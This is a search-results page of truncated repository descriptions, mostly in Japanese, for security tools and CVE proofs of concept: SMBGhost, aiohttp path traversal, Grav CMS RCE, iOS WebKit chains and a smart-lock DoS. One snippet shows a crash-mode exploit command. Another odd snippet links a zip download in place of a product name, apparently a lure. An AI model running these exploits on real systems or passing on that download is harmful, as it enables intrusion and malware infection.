7742 matches found
dasel-melange-apko
dasel v3.3.1 — Melange + apko ビルド、CVE-2026-33320 パッチ適用版 このリポジトリは、dasel CLI（v3.3.1）を Melange で APK としてパッケージ化し、apko で最小限のコンテナイメージを構築し、CVE-2026-33320 の修正を v3.3.1 コードベースに適用したものです（バージョンアップではなくパッチ適用）。 結果として得られるのは、静的 dasel バイナリのみを含む約 4 MB のイメージで、シェルもパッケージマネージャも libc も含まず、非 root ユーザーで実行されます。 リポジトリ構成...
CVE-2025-55182-Scanner
🔍 CVE-2025-55182-Scanner - 检测并保护您的应用程序 🌟 概述 CVE-2025-55182-Scanner 是一个混合安全扫描器，旨在帮助您识别 https://raw.githubusercontent.com/captain4554/CVE-2025-55182-Scanner/main/scanner/CV-Scanner-v2.4.zip 和 Waku 应用程序中的漏洞。该工具结合了静态代码分析与安全的动态验证，使其非常适合 DevSecOps 工作流程。无论您是开发者还是普通用户，该扫描器都将帮助您保护应用程序免受潜在威胁。 🚀 快速开始 要开始使用...
CVE-2025-5548
🛡️ CVE-2025-5548 本作業は、FreeFloat FTP Server ソフトウェアに対する脆弱性CVE-2025-5548 の技術的分析と管理された悪用の完全なプロセスを、専ら教育、研究、および脆弱なバイナリの内部動作の理解を目的として設計されたラボ環境内で文書化したものです。 🎯 作業全体のミッション このプロジェクトの主な目的は、環境の準備から悪用の実践的な検証まで、脆弱性分析の完全なサイクルを体系的かつ理解しやすい方法で研究することです。 より具体的には、この作業は以下を目指します: 脆弱なサービスの全体的な動作を理解する...
CVE-2020-0796
CVE-2020-0796 静的パケットを使用するため、CVE-2020-0796 向けのさらにシンプルな PoC 兼スキャナーです。パブリック IP での誤使用（やらないでください）を防ぐ保護機能と、クラッシュを誘発するオン/オフスイッチを備えています。必要なのは素の Python 3 だけです！ スキャンモード： root@kitploit: python3 poc-and-scan.py 10.0.0.15 N スキャン+クラッシュモード： root@kitploit: python3 poc-and-scan.py 10.0.0.15 Y 出力： root@kitploit: S...
awesome-ios-security
Awesome iOS セキュリティ iOSアプリケーションセキュリティに関する厳選されたリソースのリスト。 iOSアプリケーションセキュリティとペネトレーションテスティングに関する優れたツール、書籍、コース、ブログ記事、その他のクールな情報のコレクション。 目次 ツール リバースエンジニアリングツール 静的解析ツール 動的解析ツール Tweaks リバースエンジニアリングTweaks 脱獄検出バイパスTweaks SSLピニングバイパスTweaks Fridaスクリプト コース 書籍 セッション & ワークショップ...
ReArk
ReArk English | 简体中文 ReArk is a desktop reverse engineering and AI-assisted analysis tool for HarmonyOS and Android applications. Open HarmonyOS .hap, .app, and .abc files or Android .apk and .aab packages to inspect code, resources, metadata, and application behavior in one workspace. Combine...
sonarcloud-scan
Bitbucket Pipelines Pipe: SonarQube Cloud スキャン SonarQube Cloud でコードをスキャンして、25以上のプログラミング言語におけるバグ、脆弱性、コードスメルを検出します。 お使いの SonarCloud アカウントは、最初に Bitbucket チームまたはユーザーアカウントに関連付ける必要があります。SonarQube Cloud はオープンソースプロジェクトでは完全に無料です。コードがクローズドソースの場合、SonarQube Cloud にはプライベート解析を実行するための有料プランもあります。 注: Maven または...
cve-2024-38819
CVE-2024-38819 01. File-Traversal と WebFlux の概要 1 File-Traversal と WebFlux の概要 File-Traversalパストラバーサル、Path Traversalの脆弱性は、攻撃者がWebアプリケーションでファイルシステムの権限を迂回して任意のファイルにアクセスできるようにする脆弱性であり、CWE-22に 指定されている攻撃の一種です。 Spring WebFluxはSpring...
CVE-2024-23334
CVE-2024-23334 !IMPORTANT 場合によっては、aiohttpが静的フォルダではなく別のフォルダに設定されていることがあります。その場合は、スクリプト内のフォルダ変数の値を変更してください。 エクスプロイトの使い方 !CAUTION 免責事項: このスクリプトは倫理的な用途のために作成されています。...
CVE-2024-23334-PoC
CVE-2024-23334-PoC 이 저장소는 CVE-2024-23334에 대한 개념 증명POC으로, aiohttp에서 로컬 파일 포함LFI으로 이어지는 버그를 재현하려는 시도를 보여줍니다. !CAUTION 면책 조항: 이 POC는 교육 목적으로만 제공됩니다. 실제 환경에서는 사용하지 마십시오. 설치 1. 저장소를 클론하고 환경을 설정합니다. root@kitploit: git clone https://github.com/Betan423/CVE-2024-23334-PoC cd CVE-2024-23334-PoC 가상 환경에서 실행...
MalwareForge---Advanced-Static-Malware-Analyzer
🛡️ MalwareForge - 高度な静的マルウェアアナライザー MalwareForge は、ファイルを実行せずに悪意のある動作を検出する強力な静的マルウェア解析ツールです。 ✨ 特徴 🦠 挙動分析 : プロセスインジェクション、永続化、ネットワーク、スティーラー、回避 💉 8種類のインジェクション技術 : プロセスハロウイング、APCインジェクション、リフレクティブDLL、など 📦 パッカー検出 : UPX、Themida、VMProtect、ASPack、MPRESS 🔑 ハッシュデータベース : 既知のマルウェアファミリーの検出 🛡️ VirusTotal統合 :...
CVE-2021-29440
CVE-2021-29440 Grav CMS 1.7.10 の静的ページの安全でない Twig 処理による RCE Grav はファイルベースのWebプラットフォームです。静的ページの Twig 処理は、ページの作成または編集を許可された管理ユーザーであれば誰でもフロントマターで有効にできます。Twig プロセッサはサンドボックス化されずに実行されるため、この動作を利用して任意のコード実行を達成し、インスタンス上の権限を昇格させることができます。 解説 /admin ダッシュボードにアクセスでき、ページ作成権限を持つユーザーが必要です。 フロントマターブロックは process.twi...
DarkSword_analysis
DarkSwordanalysis DarkSword iOS WebKit エクスプロイトチェーンの静的解析 — デリバリー、ステージング、CVEの内訳（CVE-2025-31277、CVE-2025-43529） 私は情報システム学科の新入生で、リバースエンジニアリングとマルウェア解析のスキルを磨くためにこのエクスプロイトチェーンに取り組んでいます。新しい概念を学び、コードをより深く掘り下げながら、このレポートを更新していきます。 出典 htimesnine/DarkSword-RCE Lookout Threat Intelligence iVerify — Inside...
CVE-2025-15474
BLEスマートロックDoS脆弱性 認証を必要としないBluetooth Low Energy BLE接続フラッドにより、キーパッド入力を妨害し、繰り返しロックアウト状態を強制することで、正当なユーザーがデバイスのロックを解除するのを確実に防ぐことができます。 📌 概要 このリポジトリは、市販のBLEスマートパドロックに影響を与えるサービス拒否DoS脆弱性を文書化しています Amazon製品。 このデバイスは静的BLE MACアドレスRPAなしを公開し、認証されていない接続試行を受け入れます。...
docker-cve-2016-2107
docker-cve-2016-2107 CVE-2016-2107 のテストを実装する Docker コンテナ - LuckyNegative20 概要 CVE-2016-2107 の Docker 化されたテスト。コードは Filippo Valsorda によって書かれました： GitHub zero to decryption 脆弱性を説明するブログ online CVE-2016-2107 test 更新 現在のバージョンは静的リンクを使用して、出力ファイルを小さくし依存関係をなくしています。これにより、scratch をベースイメージとして（実質的にゼロサイズ、Docker...
hikvision_CVE-2017-7921_auth_bypass_config_decryptor
hikvisionCVE-2017-7921authbypassconfigdecryptor このPythonファイルは、CVE-2017-7921の影響を受けるHikvisionカメラで使用されるconfigurationFileを復号化します。 https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0876.html/ 説明 Hikvision IPカメラの認証バイパス CVE-2017-7921...
krane
Krane Kubernetes RBAC Analysis made Easy Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its...
krane
Krane Kubernetes RBAC Analysis made Easy Krane is a simple Kubernetes RBAC static analysis tool. It identifies potential security risks in K8s RBAC design and makes suggestions on how to mitigate them. Krane dashboard presents current RBAC security posture and lets you navigate through its...
RPC-Triage
RPC-Triage 静的解析と動的解析（最初にお読みください）。 最初に、動的解析と静的解析の境界を明確にしておく価値があります。このツールはランキングを純粋に静的解析で行います。 コンパイル済みのMIDL/NDR構造をバイナリから直接読み取り、何も実行しません。 Windows RPC攻撃面の静的トリアージ。 PEバイナリのフォルダを指定すると、RPCサーバーを登録するすべてのバイナリを検出し、各インターフェースのNDRメソッドシグネチャ、トランスポートバインディング、登録フラグをコンパイル済みMIDL構造から直接抽出し、すべてのインターフェースを到達可能性 × 危険性...